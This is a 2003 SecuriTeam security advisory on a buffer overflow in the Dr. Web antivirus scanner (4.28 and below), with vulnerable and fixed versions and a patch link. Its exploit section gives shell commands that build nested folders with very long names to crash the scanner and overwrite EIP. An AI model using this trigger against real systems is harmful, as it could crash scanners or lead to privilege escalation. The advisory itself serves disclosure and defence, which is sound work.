[NT] Buffer Overflow Vulnerability in Dr. Web

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From: support@securiteam.com
To: list@securiteam.com
Date: 5 Mar 2003 21:33:34 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Buffer Overflow Vulnerability in Dr. Web
------------------------------------------------------------------------

SUMMARY

 <http://www.sald.com> Dr. WEB is an antivirus scanner.
The new generation (DrWeb32) includes programs for Windows
95/98/ME/2000/NT/XP, DOS/386, OS/2, Novell NetWare, Linux, FreeBSD 3.xx
and 4.xx and Solaris x86.
A vulnerability in Dr Web allows a user with access to the server to gain
root privileges by overflowing a buffer in the program.

DETAILS

Vulnerable versions:
 * Dr Web Version 4.28 and below

Immune versions:
 *Dr Web Version 4.29b and above

When a user with access to the system creates files with a very long name
it causes the buffer overflow and writes over the EIP, thus granting the
user the ability to execute arbitrary code with root privileges.

The program consists of a monitor and scanner. Only the scanner option was
tested on the 4.28a version and it was found vulnerable.

Exploit:
Build a folder with a very long name:

set a= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA
set b= BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBB

mkdir /$a
mkdir /$a/$b

Or:

SET A = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA
SET B = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBB

mkdir \\?\c:\%A%
mkdir \\?\c:\%B%

Depending on system.

When the Anti-virus tries to scan the folder it crashes.

Solution:
Download latest version from Dr Web: <http://www.sald.com/get.html>
Newest Versions

ADDITIONAL INFORMATION

Information was provided by <mailto:conde0@telefonica.net> David
Fernandez Madrid

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